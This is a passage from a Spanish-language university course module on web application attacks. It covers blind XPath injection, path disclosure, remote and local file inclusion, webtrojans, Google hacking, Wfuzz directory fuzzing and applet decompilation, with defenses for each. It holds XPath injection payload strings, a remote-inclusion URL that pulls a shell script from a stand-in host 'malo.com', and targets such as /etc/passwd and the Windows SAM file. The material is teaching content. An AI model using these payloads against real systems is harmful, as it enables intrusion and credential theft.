inyeccioacuten que devuelva false) muestre un mensaje donde diga ldquoUsuario yo
password incorrectordquo
CC-BY-NC-ND bull PID_00191662 50 Ataques a aplicaciones web
En este caso nos encontramos claramente ante una aplicacioacuten vulnerable a
Blind XPath Injection pero si aun asiacute queremos estar seguros de que se trata de
un motor XML y no SQL podemos utilizar funciones como count() la
cual devuelve el nuacutemero total de nodos en el aacuterbol que siempre deberiacutea tener
al menos 1 nodo
bull Inyeccioacuten de cadena alsquo or count()gt0 or lsquoarsquo=rsquob
bull Inyeccioacuten numeacuterica 0 or count()gt0 or 1=1
Tambieacuten es posible la utilizacioacuten de operadores OR en mayuacutesculas ya que
estos no son aceptados en buacutesquedas XML y siacute que lo son en buacutesquedas SQL
(estas admiten operadores tanto en minuacutesculas como en mayuacutesculas) de tal
modo que se podriacutea concluir si el motor de buacutesqueda trabaja con XML
bull Motor SQL lsquo OR 1=1 OR lsquorsquo=rsquo
bull Motor SQLXML lsquo or 1=1 or lsquorsquo=rsquo
Si con esta prueba obtenemos un resultado positivo no hay duda de que es un
sistema XML es vulnerable y ademaacutes es posible extraer todo el aacuterbol XML
iquestcoacutemo utilizando teacutecnicas de ldquobooleanizacioacutenrdquo
El primer paso a la hora de empezar un ataque para descargarse el aacuterbol seriacutea
sacar los valores del nodo raiacutez que contiene el resto de los nodos Los pasos
que habriacutea que realizar seriacutean los siguientes
1) Extraer el nombre del nodo
2) Extraer los atributos del nodo
3) Comprobar si es un elemento3 En caso positivo obtener el valor
4) Calcular el nuacutemero de nodos hijos que contiene el nodo que se estaacute anali-
zando
5) Volver a realizar el paso lsquo1rsquo con los nodos extraiacutedos en el paso lsquo4rsquo
Para extraer el nombre del nodo primero seriacutea necesario calcular el nuacutemero de
caracteres del mismo Esto se puede hacer utilizando la funcioacuten string-length
[PATH]childnode()[position()=[NUMNODO] and string-length (name())gt[NUMERO]]
Donde [PATH] seriacutea el nodo a analizar [NUMNODO] el nuacutemero de nodo (ya
que puede haber varios nodos con el mismo nombre dentro del mismo padre)
y [NUMERO] seriacutea la longitud del nombre del nodo De este modo utilizando
fuerza bruta y teacutecnicas de optimizacioacuten como la buacutesqueda binaria seriacutea posi-
ble sacar la longitud del nombre de la siguiente manera
(3)Si el nodo es un elemento nopuede contener subnodos por loque los pasos 4 y 5 no se realiza-riacutean
CC-BY-NC-ND bull PID_00191662 51 Ataques a aplicaciones web
or childnode()[position()=1 and string-length(name())gt20] or 1=1 and =
or childnode()[position()=1 and string-length(name())gt10] or 1=1 and =
or childnode()[position()=1 and string-length(name())gt5] or 1=1 and =
or childnode()[position()=1 and string-length(name())gt7] or 1=1 and =
or childnode()[position()=1 and string-length(name())gt9] or 1=1 and =
or childnode()[position()=1 and string-length(name())=8] or 1=1 and =
Una vez se sabe que la longitud del nodo son ocho caracteres se puede sacar
el nombre del nodo siguiendo el mismo mecanismo teacutecnicas de ldquobooleaniza-
cioacutenrdquo e imaginacioacuten
or childnode()[position()=1 and starts-with(name()a)] or 1=1 and =
or childnode()[position()=1 and starts-with(name()b)] or 1=1 and =
or childnode()[position()=1 and starts-with(name()c)] or 1=1 and =
or childnode()[position()=1 and starts-with(name()u)] or 1=1 and =
or childnode()[position()=1 and starts-with(name()ua)] or 1=1 and =
or childnode()[position()=1 and starts-with(name()ub)] or 1=1 and =
or childnode()[position()=1 and starts-with(name()us)] and =
or childnode()[position()=1 and starts-with(name()usu)] and =
Seriacutea el mismo proceso para cada letra del nombre utilizando un charset de
caracteres y extraer cada caraacutecter desde la posicioacuten 1 hasta la posicioacuten maacutexi-
ma que seriacutea la longitud del nombre extraiacuteda inicialmente
Los pasos para extraer los atributos y elementos seriacutean exactamente los mis-
mos pero variando la consulta XPath con las siguientes plantillas
1) Para extraer informacioacuten referente a los nodos
bull Longitud del nombre
[PATH]childnode()[position()=[NUMNODO] and
string-length(name())gt[NUMERO]]
bull Nombre del nodo
[PATH]childnode()[position()=[NUMNODO] and
starts-with(name()[VALORES])]
bull Nuacutemero de subnodos
count([PATH]childnode())gt[NUMERO]
2) Para extraer la informacioacuten de los atributos
bull Nuacutemero de atributos de un nodo
count([PATH]childnode()[[NUMNODO]])gt[NUMERO]
CC-BY-NC-ND bull PID_00191662 52 Ataques a aplicaciones web
bull Longitud del nombre del atributo
[PATH]childnode()[position()=[NUMNODO]] and
string-length([PATH]childnode()
[[NUMNODO]][position()=[NUMATT] and
string-length(name())gt[NUMERO]])gt0
bull Longitud del valor del atributo
[PATH]childnode()[position()=[NUMNODO]] and
string-length([PATH]childnode()
[[NUMNODO]][position()=[NUMATT]])gt[NUMERO]
bull Nombre del atributo
[PATH]childnode()[position()=[NUMNODO]] and
[PATH]childnode()[[NUMNODO]][position()=[NUMATT] and
starts-with(name()[VALORES])
bull Valor del atributo
[PATH]childnode()[position()=[NUMNODO]] and
starts-with([PATH]childnode()
[[NUMNODO]][position()=[NUMATT]] [VALORES])
3) Para extraer el contenido de un nodo los elementos
bull Longitud del elemento
string-length([PATH]childtext())gt[NUMERO]
bull Valor del elemento
starts-with([PATH]childtext()[VALORES])
Esta teacutecnica puede resultar muy tediosa y lenta si se realiza manualmente pero
para ello ya existen herramientas que hacen este proceso de forma automaacuteti-
ca y ademaacutes utilizan teacutecnicas de optimizacioacuten como reduccioacuten del charset
para encontrar los datos realizando un reducido nuacutemero de consultas
Implementar una reduccioacuten de charset es algo simple basta con hacer una
query por cada caraacutecter y comprobar si ese caraacutecter existe en alguacuten nodo ele-
mento o atributo del aacuterbol En caso negativo se elimina ese caraacutecter del char-
set Esto puede hacerse con la siguientes query
[contains(name() a)] or [contains(name() a)]
or attribute[contains(a)] or contains( a)
Si esta nos devuelve un resultado positivo se mantiene la letra lsquoarsquo en el charset
de letras a probar sin embargo si nos devuelve la paacutegina que hemos asociado
a una peticioacuten falsa podremos eliminar el caraacutecter a del resto de pruebas a
realizar pues ya sabremos que nunca va a aparecer
CC-BY-NC-ND bull PID_00191662 53 Ataques a aplicaciones web
Otra teacutecnica interesante para la optimizacioacuten del Blind XPath Injection es el
de ldquolearn wordsrdquo de modo que cuando se extrae el nombre de un nodo ele-
mento o atributo se guarda en una lista Cuando se encuentre otro nodoele-
mentoatributo de una longitud de nombre igual a la de alguacuten elemento ya
extraiacutedo hacer comprobaciones con los nodos ya conocidos pues es probable
que si tienen la misma longitud tengan el mismo nombre
En la siguiente imagen se muestra una herramienta en funcionamiento una
vez descargado el aacuterbol XML de una aplicacioacuten web vulnerable
Figura 41 Aacuterbol XML extraiacutedo mediante una aplicacioacutenautomatizada
232 iquestCoacutemo protegerse de teacutecnicas de XPath Injection
La proteccioacuten contra este tipo de teacutecnicas es muy simple y debe correr de
la mano del programador de la aplicacioacuten Uacutenicamente hay que realizar un
filtrado de las entradas teniendo en cuenta dos factores
bull Si la entrada es numeacuterica antes de formar la query comprobar que el valor
introducido en la entrada es un valor numeacuterico y no una cadena de texto
bull Si la entrada es de texto remplazar los caracteres peligrosos como la comi-
lla simple y doble por rsquo y rdquo
CC-BY-NC-ND bull PID_00191662 54 Ataques a aplicaciones web
3 Ataques de Path Transversal
Mediante las teacutecnicas de Path Transversal se va a lograr acceder a in-
formacioacuten referente al servidor desde simplemente el directorio donde
se estaacute ejecutando la aplicacioacuten web hasta lograr descargar ficheros del
servidor Cada uno de estos fallos recibe un nombre y lo estudiaremos
por separado
La informacioacuten obtenida puede ser usada por un atacante para lograr acceder
a otros recursos de la paacutegina mediante alguacuten tipo de ingenieriacutea social o dedu-
ciendo posibles nombres de ficheros yo carpetas para posteriormente acceder
a ellos
Vamos a analizar desde los menos peligrosos hasta los maacutes criacuteticos viendo
coacutemo unos se apoyan en los anteriores y coacutemo en cierta medida dependen
unos de los otros y realmente estaacuten muy relacionados entre siacute
31 Path Disclosure
Este problema no es especiacutefico de una tecnologiacutea sino que puede darse en
cualquier lenguaje de programacioacuten y en cualquier tecnologiacutea de servidor Es-
ta vulnerabilidad no es criacutetica por siacute misma pero puede facilitar las cosas a
un atacante que intente cualquiera de los fallos que se comentaraacuten posterior-
mente
El concepto es lograr conocer la ruta en la que se estaacute ejecutando la apli-
cacioacuten Para ello nos valdremos de mensajes de error (provocados o no)
que contengan rutas a ficheros Esto lo lograremos introduciendo carac-
teres erroacuteneos en los paraacutemetros o accediendo a rutas que no existan
Figura 42 Fallo de Path Disclosure
CC-BY-NC-ND bull PID_00191662 55 Ataques a aplicaciones web
Este mensaje de error puede darse al intentar reproducir cualquiera de los de-
maacutes fallos explicados en esta seccioacuten Normalmente los lenguajes de progra-
macioacuten del lado del servidor si no tienen los errores controlados mostraraacuten
un mensaje de error predefinido que usualmente contiene la ruta del fichero
afectado
Evitar este tipo de errores es tan sencillo como generar nuestras propias paacutegi-
nas de error Tambieacuten controlar cualquier tipo de excepcioacuten en el coacutedigo es
buena praacutectica En definitiva no dejar que los mensajes por defecto se mues-
tren nunca al usuario
CC-BY-NC-ND bull PID_00191662 56 Ataques a aplicaciones web
4 Ataques de inyeccioacuten de ficheros
41 Remote file inclusion
Remote file inclusion es la vulnerabilidad consistente en ejecutar coacutedigo
remoto dentro de la aplicacioacuten vulnerable Se basa en la idea de que al
igual que es posible cargar un fichero local para su inclusioacuten dentro de la
paacutegina podriacuteamos cargar uno remoto que contuviese coacutedigo malicioso
Esto es posible en lenguajes interpretados donde podemos incluir un fichero
con coacutedigo y antildeadirlo a la ejecucioacuten En el siguiente ejemplo se toma como
base una paacutegina programada en PHP
httpwwwmipaginacommostrarphppag=indexphp
PHP hace uso de funciones que permiten la inclusioacuten de ficheros externos
para generar paacuteginas maacutes complejas y maacutes completas En el hipoteacutetico ejemplo
anterior el fichero mostrarphp hariacutea uso de alguna de estas funciones de PHP
que permiten la inclusioacuten dinaacutemica de ficheros
bull include($pag)
bull require($pag)
bull include_once($pag)
bull require_once($pag)
Estas funciones reciben un paraacutemetro (llamado $pag en este ejemplo) que in-
dica la ruta del fichero que ha de incluirse Si la variable pag no estaacute suficien-
temente controlada podremos hacer una llamada a un fichero externo que se
descargaraacute e interpretaraacute en el lado del servidor
httpwwwmipaginacommostrarphppag=httpmalocomshelltxt
En la llamada anterior el servidor mipaginacom solicitaraacute a malocom el
fichero shelltxt que incluiraacute coacutedigo PHP vaacutelido que se ejecutaraacute en
mipaginacom
Este fallo se debe a una mala configuracioacuten del servidor PHP el cual permite la
inclusioacuten de ficheros externos La configuracioacuten correcta deberiacutea ser la prohi-
bicioacuten total de realizar estas acciones
CC-BY-NC-ND bull PID_00191662 57 Ataques a aplicaciones web
Para establecer una configuracioacuten adecuada en el inteacuterprete de PHP debemos
buscar el fichero phpini de configuracioacuten (en Linux suele estar en etc
php5phpini) y establecer la clave de configuracioacuten allow_url_include
a false
Este fallo de seguridad puede dar lugar a que un atacante logre ejecutar cual-
quier coacutedigo deseado en el servidor web con los riesgos que esto conlleva
Existen ficheros ya pregenerados para ser incluidos dentro del flujo de ejecu-
cioacuten de la aplicacioacuten web Van desde un simple inteacuterprete de comandos a una
completa shell equipada con su propio explorador de ficheros opciones pa-
ra subir o descargar ficheros e incluso la posibilidad de ejecutar programas en
el equipo remoto
Figura 43 Shell remota ejecutaacutendose
Existe una gran variedad de shells remotas que podemos encontrar en Internet
Por ejemplo la shell mostrada en la figura anterior se llama c99 aunque existen
otras como la r57 o c100 De todas maneras siempre podemos programarnos
una propia con la funcionalidad que necesitemos
42 Local file inclusion
Esta vulnerabilidad al contrario que la anterior afecta tanto a lenguajes com-
pilados como interpretados Se basa en la posibilidad de incluir dentro de la
paacutegina un fichero local del usuario con el que se ejecuta el servidor de aplica-
ciones web que tenga permisos de lectura
Esta vulnerabilidad puede ocurrir en cualquier lugar de un sitio web pero suele
ser maacutes comuacuten en dos sitios bien diferenciados
bull Paacuteginas de plantillas carga un fichero desde otro y le da formato
CC-BY-NC-ND bull PID_00191662 58 Ataques a aplicaciones web
bull Paacuteginas de descargas recibe un paraacutemetro con el nombre del fichero a
descargar y lo enviacutea al cliente
El concepto tras ambos fallos es el mismo y las implementaciones defectuo-
sas a veces tambieacuten Para lograr explotar esta vulnerabilidad de una manera
satisfactoria deberiacuteamos poder hacer llamadas a ficheros fuera de la ruta ori-
ginal Esto lo hariacuteamos intentando incluir ficheros de un directorio superior
usando los caracteres en sistemas Linux o en sistemas Windows maacutes
el nombre de un fichero del que conozcamos su existencia Por ejemplo sos-
pechamos que la siguiente URL tiene un fallo de local file inclusion
httpwwwvictimacomnoticiasdetallephpid=4amptipo=deportesphp
Entonces para corroborarlo y determinar que efectivamente nos encontramos
frente a un fallo de remote file inclusion podriacuteamos modificar la URL hasta que
quedase como sigue
httpwwwvictimacomnoticiasdetallephpid=4amptipo=indexphp
Con esta simple comprobacioacuten podriacuteamos detectar si una paacutegina va a ser vul-
nerable a local file inclusion
Esta teacutecnica se puede ampliar (si los permisos lo permiten y no se aplica el
concepto del miacutenimo privilegio) a ficheros fuera del directorio de la aplicacioacuten
web y empezar a incluir ficheros del propio sistema operativo Esto nos per-
mitiraacute obtener maacutes informacioacuten sobre el equipo
Para localizar sin equivocaciones los ficheros podemos usar un fallo de Path
Disclosure para que nos deacute informacioacuten sobre la ruta local donde se ubican
estos De todas maneras y si no sabemos la ruta relativa de un fichero frente
a la paacutegina vulnerable podemos usar las rutas directas4
Existen muchos ficheros interesantes a los que acceder mediante esta teacutecnica
dependiendo de los objetivos del atacante Ademaacutes estos variaraacuten entre distin-
tos sistemas operativos A continuacioacuten se detallan algunos de estos ficheros
como muestra de la informacioacuten que podemos llegar a obtener
bull etcpasswd Fichero de usuarios en sistemas Linux Contiene un com-
pendio de los usuarios existentes asiacute como datos relativos a ellos como
nombre o directorio del home
bull etchosts Permite guardar informacioacuten sobre equipos proacuteximos Suele
contener una lista de nombre e IPS internos que nos permiten obtener una
mejor idea de la estructura interna de una organizacioacuten
bull CWindowsrepairSAM La SAM es el fichero que contiene los nombres
de usuarios y claves de los usuarios de un sistema Windows En la carpeta
(4)Una ruta directa es la que inclu-ye todo el nombre del fichero
CC-BY-NC-ND bull PID_00191662 59 Ataques a aplicaciones web
Repair se almacena una copia del fichero SAM para poder recuperarla en
caso de error del sistema
bull El propio fichero vulnerable Es muy instructivo descargar el propio fichero
vulnerable mediante el fallo de local file inclusion para poder aprender de
los problemas de otros
Para evitar que esta teacutecnica tenga mayor impacto es importante pensar en
montar el servidor con el miacutenimo privilegio posible limitando la posibilidad
de acceso a ficheros del servidor dentro de su propia carpeta con lo que lo-
gramos evitar el acceso a ficheros del sistema aunque no a ficheros propios
de la aplicacioacuten
Figura 44 Ejemplo de local file inclusion
Si queremos hacer una proteccioacuten mediante programacioacuten en lugar de contro-
larlo mediante permisos en el servidor hay que tener en cuenta que las rutas
a ficheros se pueden escribir de dos maneras
bull Directa Escribimos la ruta donde se encuentra el fichero directamente
Deberiacuteamos por tanto eliminar los caracteres o de los datos enviados
por los usuarios
bull Relativa Usamos la canonizacioacuten para subir hacia directorios superiores
mediante el uso de o Lo podriacuteamos evitar excluyendo ademaacutes
de lo anterior los puntos
43 Webtrojans
Una de las funcionalidades maacutes extendidas en paacuteginas web medianamente
complejas es la posibilidad de subir ficheros al servidor imaacutegenes documentos
en PDF ficheros de viacutedeo etc
Cuando un usuario nos enviacutea un fichero debemos comprobar que lo que nos
enviacutea es un fichero legiacutetimo es decir si estamos esperando la llegada de un
fichero con una imagen es necesario comprobar que lo que recibimos es real-
mente una imagen y no otro tipo de fichero
CC-BY-NC-ND bull PID_00191662 60 Ataques a aplicaciones web
Si no comprobamos los ficheros que se nos enviacutean podriacuteamos estar copiando
en nuestro servidor un fichero malintencionado conocido como webtrojan5
Existen multitud de shells remotas en distintos lenguajes a disposicioacuten de cual-
quiera Estas shells suelen ser detectadas por los antivirus para evitar que pasen
desapercibidas a administradores despistados pero pueden ser ldquocamufladasrdquo
dentro de otros ficheros
El ejemplo maacutes claro de coacutemo camuflar un fichero de estos es incluirlo tras
una cabecera de una imagen donde algunos servidores son capaces de ejecutar
el coacutedigo
Figura 45 Webtrojan oculto dentro de un fichero GIF
En la imagen anterior se puede ver coacutemo un fichero gif abierto con un visor
de textos deja a la vista coacutedigo PHP que va a generar una puerta trasera para
subir cualquier tipo de fichero
Para evitar este tipo de problemas debemos comprobar siempre no solo la ex-
tensioacuten sino tambieacuten la cabecera del fichero para corroborar que es del tipo
que nosotros hemos permitido Una buena praacutectica es la de establecer noso-
tros mediante programacioacuten la extensioacuten de los ficheros que se nos suben
evitando que alguien pueda subir un fichero y establecerlo con extensiones
como ASP o PHP
(5)Es una shell remota que pode-mos subir a un servidor aprove-chando un fallo de seguridad
CC-BY-NC-ND bull PID_00191662 61 Ataques a aplicaciones web
5 Google Hacking
Google indexa hoy en diacutea millones de paacuteginas web y no entiende de zonas
privadas ni restringidas Todo aquello que esteacute enlazado a alguacuten sitio y sea
accesible estaraacute en Google Si conocemos coacutemo funciona Google (y en general
los buscadores) podremos acceder a mucha informacioacuten que ni siquiera sus
propietarios saben que se encuentra ahiacute
Es por esta razoacuten por lo que saber coacutemo hacer preguntas a Google sobre la
informacioacuten que nos interesa es muy importante permitieacutendonos recopilar
mucha informacioacuten sobre un sitio web sin necesidad de realizar en principio
ninguna peticioacuten al servidor en cuestioacuten
Google ofrece varios filtros que nos permitiraacuten afinar la buacutesqueda que quere-
mos realizar y que combinados unos con otros alcanzan una potencia mucho
mayor
bull +ltpalabragt Incluir un + (maacutes) delante de una palabra requiere la presencia
obligatoria de esta palabra en las paacuteginas devueltas
bull -ltpalabragt Con un siacutembolo ndash (menos) delante de una palabra excluye
todos los resultados que contengan esa palabra
bull ldquoltpalabrasgtrdquo Al colocar una frase entre comillas dobles buscamos cadenas
completas de texto dentro de los resultados
bull Se puede usar el caraacutecter con el significado de que puede aparecer cual-
quier palabra dentro de una frase entrecomillada
bull intitlelttextogt Permite buscar en el tiacutetulo de la paacutegina
bull inurllttextogt Realiza las buacutesquedas en la URL de la paacutegina
bull intextlttextogt Busca el texto en el cuerpo de las paacuteginas devueltas
bull filetypeltextensioacutengt Restringe la buacutesqueda a la extensioacuten especifi-
cada
bull domainltdominiogt Limita los resultados al dominio especificado Se
puede usar solo el identificador del paiacutes (como es)
Con estos filtros y combinaacutendolos entre siacute podemos lograr encontrar cualquier
cosa que esteacute en Internet
CC-BY-NC-ND bull PID_00191662 62 Ataques a aplicaciones web
Figura 46 Resultados de la buacutesqueda +usersmdb intitlerdquoIndex ofrdquo
Google Hacking Database es una base de datos de buacutesquedas de corroborada
eficacia que permite obtener datos interesantes referentes a ficheros de confi-
guracioacuten zonas privadas dispositivos conectados a la red software vulnera-
ble etc
Usando este tipo de buacutesquedas se puede llegar a conocer muchiacutesimos datos
de un servidor Uno de los ejemplos maacutes claros es la posibilidad de localizar
subdominios de un dominio dado mediante buacutesquedas recursivas Vamos a
realizar un ejemplo para que quede demostrada la utilidad de estas teacutecnicas
Para empezar se selecciona un dominio en este caso se ha elegido el dominio
uoces y se ejecuta la siguiente buacutesqueda
siteuocedu
Esta buacutesqueda devuelve 587000 resultados Evidentemente todas estas paacutegi-
nas no pertenecen solo a un dominio sino que habraacute distintos sitios implica-
dos
El proceso es simple Consiste en ver cuaacutel es el subdominio del primer resul-
tado devuelto y antildeadirlo con un siacutembolo ndash (menos) delante Por ejemplo
-www siteuoces
Excluyendo el subdominio www de las buacutesquedas obtendremos un nuacutemero de
paacuteginas devueltas de 631000 Siguiendo este proceso llegaremos hasta generar
una buacutesqueda que no nos devuelva ninguacuten resultado una aproximacioacuten seriacutea
la siguiente
-acc -rusc -elcrps -blogs -personal -eprints -cataleg -osrt -clab -unescochair -elearning
-multimedia -edulab -net -itol -gres -red -lletra -laboralcentrodearte -lpg -elconcept
-biblioteca -comein -foto -guatemala -einflinux1 -cicr -campus -icesd -laos -xequia
CC-BY-NC-ND bull PID_00191662 63 Ataques a aplicaciones web
-dpcs -cimanet -comoras -marroc -colleague -colloque -xina -macedonia -oliba -cv
-www -biblio siteuoces
Cabe recordar que hasta este momento y mediante esta teacutecnica en ninguacuten
momento se ha realizado ninguna peticioacuten directa hacia el dominio uoces
por lo que seriacutea imposible conocer quieacuten estaacute intentando averiguar informa-
cioacuten sobre nuestro dominio
Otras buacutesquedas que podemos encontrar aquiacute son las que nos pueden devolver
todos los ficheros ofimaacuteticos del servidor tales como ficheros doc xls pdf
etc
Estos ficheros en sus distintas versiones incluyen mayor o menor cantidad
de metadatos que tienen informacioacuten acerca de nombres de usuarios o rutas
locales del ordenador donde se generoacute el fichero Con toda esta informacioacuten
un atacante podriacutea empezar a utilizar un programa de fuerza bruta para inten-
tar sacar las contrasentildeas
CC-BY-NC-ND bull PID_00191662 64 Ataques a aplicaciones web
6 Seguridad por ocultacioacuten
Es habitual esconder una llave ldquode emergenciardquo en alguacuten lugar cercano a la
puerta de una casa para que dado el caso podamos entrar si hemos perdido
nuestra llave Evidentemente esto no es nada seguro pues cualquier persona
que la encuentre podraacute acceder al igual que nosotros a nuestra casa
Este siacutemil con la vida real sirve para enlazar la idea con una aplicacioacuten web
Es comuacuten entre los programadores web usar directorios especiacuteficos para acti-
vidades especiacuteficas como la administracioacuten las zonas de pruebas o la subida
de ficheros temporales Algunas de las maacutes comunes son
bull admin
bull logs
bull uploads
bull phpmyadmin
bull tmp
Estos directorios se pueden descubrir mediante pruebas manuales o haciendo
uso de alguacuten programa tipo fuzzer6 que realice las peticiones por nosotros
En este caso lo vamos a usar para automatizar la buacutesqueda de directorios con
nombres conocidos
Wfuzz es un programa de este tipo realiza conexiones a un servidor web sus-
tituyendo en la zona de la URL que nosotros especifiquemos una cadena de
texto que va cogiendo liacutenea tras liacutenea de un fichero de texto
Se puede descargar gratuitamente y lo vamos a usar para realizar una demos-
tracioacuten de los datos que se pueden llegar a obtener mediante esta herramienta
Vamos a aprender a usarla pues la sintaxis es simple
wfuzzexe -z file -f wordlistscommontxt --hc 404 httpwwwvictimacomFUZZ
La liacutenea anterior representa una ejecucioacuten tiacutepica del programa Wfuzz y nos va
a servir como ejemplo para determinar cuaacuteles son los paraacutemetros maacutes uacutetiles a la
hora de realizar un anaacutelisis mediante esta herramienta Con estos paraacutemetros
estaremos indicaacutendole al programa que
bull -z Use el payload de tipo fichero Esto es los nombres de las carpetas ocul-
tas que vamos a buscar se van a coger desde un fichero de texto
(6)Un programa fuzzer es un pro-grama que automatiza tareas repe-titivas
CC-BY-NC-ND bull PID_00191662 65 Ataques a aplicaciones web
bull -f El nombre del fichero que se va a usar En este caso hemos seleccionado
el fichero commontxt que acompantildea al programa y que contiene una lista
de los nombres maacutes comunes de directorios ocultos
bull --hc 404 El paraacutemetro hc nos permite eliminar resultados de la salida del
programa en base al coacutedigo HTTP que se devuelva En el ejemplo se ha
usado el coacutedigo 404 por ser el coacutedigo asociado a los errores en el protocolo
HTTP Tambieacuten se pueden establecer filtros por nuacutemero de liacuteneas (--hl) y
palabras (--hw) que contiene una paacutegina por si nos encontramos con un
servidor que devuelva siempre una paacutegina con coacutedigo 200
bull httpwwwvictimacomFUZZ Allaacute donde coloquemos la palabra fuzz se-
raacute donde el programa incluya en cada peticioacuten la palabra siguiente del fi-
chero especificado
Figura 47 Resultado de la ejecucioacuten del programa Wfuzz
En la imagen anterior apreciamos coacutemo el programa ha detectado una serie
de directorios en el servidor analizado De estos directorios los de ldquopasswordrdquo
y ldquotestrdquo pueden resultar interesantes para comenzar a realizar una revisioacuten de
seguridad
Otra manera de encontrar directorios y ficheros ocultos en una aplicacioacuten es la
buacutesqueda del fichero robotstxt Este fichero es usado por los administradores
de sitios web para evitar que Google y otros buscadores indexen zonas que
no desean
CC-BY-NC-ND bull PID_00191662 66 Ataques a aplicaciones web
Figura 48 Ejemplo de fichero robotstxt
El problema es que mucha gente no entiende completamente el concepto de
este fichero antildeadiendo a eacutel todas las rutas que no quieren que se indexen
aunque no esteacuten enlazados desde ninguacuten sitio (recordemos que los buscado-
res solo indexan si se realiza un enlace desde alguacuten sitio) Por ello podemos
encontrarnos con ficheros robotstxt que contienen referencias a zonas admi-
nistrativas de pruebas privadas
Otro fichero que puede darnos mucha informacioacuten y que al contrario de
los anteriores es informacioacuten puacuteblica es el fichero sitemapxml El fichero
sitemapxml es un fichero propuesto por Google como una manera de indi-
carle al buscador cuaacuteles son las paacuteginas maacutes interesantes de un sitio web y
cuaacuteles son las menos actualizadas Esta informacioacuten parece obvia y podemos
descubrirla nosotros mismos navegando por la paacutegina Sin embargo es de vital
importancia pues nos ahorra tiempo en navegar por el sitio y con una sola
peticioacuten obtenemos un esquema de la estructura del mismo A continuacioacuten
se muestra un ejemplo de un fichero sitemapxml
ltxml version=10 encoding=UTF-8gt
lturlset xmlns=httpwwwsitemapsorgschemassitemap09gt
lturlgt
ltlocgthttpwwwacomltlocgt
ltlastmodgt2005-01-01ltlastmodgt
ltchangefreqgtmonthlyltchangefreqgt
ltprioritygt08ltprioritygt
lturlgt
lturlgt
ltlocgthttpwwwacomnewsltlocgt
ltchangefreqgtweeklyltchangefreqgt
lturlgt
lturlgt
ltlocgthttpwwwacomarchiveltlocgt
ltlastmodgt2004-12-23ltlastmodgt
changefreqgtweeklyltchangefreqgt
CC-BY-NC-ND bull PID_00191662 67 Ataques a aplicaciones web
lturlgt
lturlgt ltlocgthttpwwwacomfaqltlocgt
ltlastmodgt2004-12-23T180015+0000ltlastmodgt
ltprioritygt03ltprioritygt
lturlgt
lturlgt ltlocgthttpwwwacomaboutltlocgt
ltlastmodgt2004-11-23ltlastmodgt
lturlgt
lturlsetgt
61 Descompiladores de applets web
611 Flash
Flash se ha puesto cada vez maacutes de moda como una manera de ofrecer una
interfaz atractiva al usuario final En la actualidad hay multitud de paacuteginas
que hacen un uso casi abusivo de esta tecnologiacutea Pero debemos tener en con-
sideracioacuten algo importante y es que Flash no es maacutes que la capa de presenta-
cioacuten sobre la capa de datos y nunca una uacutenica capa que se encarga de todo
aunque a veces ocurre
Es por ello por lo que estas paacuteginas en Flash si cargan datos dinaacutemicamente
han de llamar a paacuteginas que se los devuelvan en funcioacuten de los paraacutemetros
proporcionados Estos paraacutemetros podriacutean ser vulnerables a las inyecciones de
coacutedigo que se comentaron anteriormente Estas llamadas a ficheros externos
se pueden observar faacutecilmente usando un sniffer del protocolo HTTP
Un ejemplo claro de esto son las paacuteginas que usan un reproductor de audio
en Flash y en las que podemos descargar los ficheros mp3 sin necesidad de ver
el coacutedigo fuente del fichero Flash
CC-BY-NC-ND bull PID_00191662 68 Ataques a aplicaciones web
Figura 49 Captura del fichero mp3 reproducido desde unreproductor web
Tambieacuten es posible en ficheros Flash la descompilacioacuten de los ficheros dando
lugar a un pseudocoacutedigo legible que permitiriacutea a un atacante conocer coacutemo
actuacutea internamente el fichero Ademaacutes es posible convertir el coacutedigo a un en-
samblador de ActionScript7 que podemos modificar y volver a compilar daacuten-
donos la posibilidad por ejemplo de incluir coacutedigo Javascript dentro de un
fichero Flash
Existen muacuteltiples programas para realizar esta accioacuten y aquiacute vamos a mostrar
coacutemo realizar esto mediante el programa Flasm de descarga gratuita
La aplicacioacuten se ejecuta desde consola Recibe el paraacutemetro ndashd para descompi-
lar el fichero swf que recibe Al volcar el coacutedigo por pantalla necesitamos redi-
rigir hacia un fichero de texto la salida del programa En este ejemplo vamos
a realizar la accioacuten con un pequentildeo juego Flash
Figura 50 Ejecucioacuten del comando flasmexe
Este comando parsea el fichero swf y extrae el coacutedigo asociado a eacutel Logra
extraer el coacutedigo y convertirlo en un lenguaje parecido al ensamblador
(7)Es el lenguaje usado internamen-te para programar las aplicacio-nes Flash Tiene una sintaxis pare-cida a Javascript y es un lenguajeinterpretado lo cual significa quepodemos lograr extraer el coacutedigofuente original del fichero swf
CC-BY-NC-ND bull PID_00191662 69 Ataques a aplicaciones web
Figura 51 Volcado del coacutedigo del fichero swf
Conocer el coacutedigo fuente de un fichero swf nos puede ayudar a entender coacutemo
funciona la aplicacioacuten a buscar fallos de seguridad en el coacutedigo o a localizar las
URL a las que hace referencia para cargar informacioacuten dentro de la aplicacioacuten
Flash Una vez localizadas estas URL seriacutea cuestioacuten de probar sobre ellas los
fallos de seguridad comentados en capiacutetulos anteriores
612 Java
Al igual que con los ficheros Flash aunque con menos popularidad en la ac-
tualidad existen los llamados applets Java pequentildeas aplicaciones que se eje-
cutan dentro de nuestro navegador
Java se ejecuta sobre una maacutequina virtual se puede ejecutar el mismo coacutedigo
en cualquier ordenador que implemente la maacutequina virtual de Java Esto tiene
muchas ventajas a la hora de exportar nuestra aplicacioacuten Sin embargo esto
tambieacuten nos permite poder extraer el coacutedigo exactamente igual que lo haciacutea-
mos en Flash
Para realizar esta accioacuten existen programas que efectuacutean esta conversioacuten y nos
muestran el coacutedigo Java original En la captura siguiente el programa usado
es Java Decompiler un programa gratuito que nos permitiraacute realizar estas ac-
ciones
CC-BY-NC-ND bull PID_00191662 70 Ataques a aplicaciones web
Figura 52 Pantalla principal del Java Decompiler
613 NET
Microsoft ha sumado su plataforma NET a la web Existen las aplicaciones
ASPNET que se ejecutan del lado del servidor y que no vamos a poder auditar
maacutes allaacute de los paraacutemetros que reciba Sin embargo estaacute poco a poco expan-
dieacutendose una nueva tecnologiacutea llamada Silverlight Silverlight es un compila-
do NET que se carga desde el servidor mediante un plugin en nuestro navega-
dor Esto al igual que Flash y Java nos permite analizar el coacutedigo fuente de
la aplicacioacuten Silverlight
Figura 53 Aplicacioacuten de muestra de Silverlight
CC-BY-NC-ND bull PID_00191662 71 Ataques a aplicaciones web
En la captura anterior se puede observar una aplicacioacuten Silverlight muy simple
Nos va a solicitar usuario y contrasentildea para lograr entrar Esta aplicacioacuten estaacute
programada para que compruebe los datos introducidos con unos datos que
